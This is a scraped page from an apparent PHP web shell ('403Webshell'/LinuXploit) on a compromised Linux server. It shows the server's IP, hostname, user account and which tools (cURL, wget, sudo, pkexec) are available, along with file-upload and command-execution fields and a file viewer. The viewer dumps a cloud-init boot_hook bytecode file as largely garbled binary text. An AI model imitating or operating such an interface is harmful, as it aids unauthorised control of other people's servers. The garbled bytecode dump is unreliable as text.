403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/cloudinit/handlers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/cloudinit/handlers/__pycache__/boot_hook.cpython-36.pyc
3

��b��@s\ddlZddlmZddlmZddlmZmZddlmZej	e
�ZGdd�dej�Z
dS)�N)�handlers)�log)�subp�util)�
PER_ALWAYSc@s*eZdZdgZdd�Zdd�Zdd�ZdS)	�BootHookPartHandlerz#cloud-boothookcKs2tjj|t�|jd�|_d|_|r.|j�|_dS)NZ	boothooks)r�Handler�__init__rZ	get_ipath�boothook_dir�instance_idZget_instance_id)�self�pathsZ
datasourceZ_kwargs�r�/usr/lib/python3.6/boot_hook.pyr	s
zBootHookPartHandler.__init__cCsJtj|�}tjj|j|�}tjtj|�|jdd�}tj	||j
�d�|S)Nr)�prefixi�)rZclean_filename�os�path�joinr
Zstrip_prefix_suffixZdos2unix�prefixesZ
write_file�lstrip)r�payload�filename�filepath�contentsrrr�_write_part!s
zBootHookPartHandler._write_partcCs�|tjkrdS|j||�}y6tjj�}|jdk	r>t|j�|d<tj|g|d�WnDtj	k
rtt
jtd|�Yn"t
k
r�t
jtd|�YnXdS)NZINSTANCE_ID)�envz#Boothooks script %s execution errorz'Boothooks unknown error when running %s)rZCONTENT_SIGNALSrr�environ�copyr�strrZProcessExecutionErrorrZlogexc�LOG�	Exception)r�dataZctyperrZ	frequencyrrrrr�handle_part*s


zBootHookPartHandler.handle_partN)�__name__�
__module__�__qualname__rr	rr"rrrrrs	r)rZ	cloudinitrrZloggingrrZcloudinit.settingsrZ	getLoggerr#rrrrrrr�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit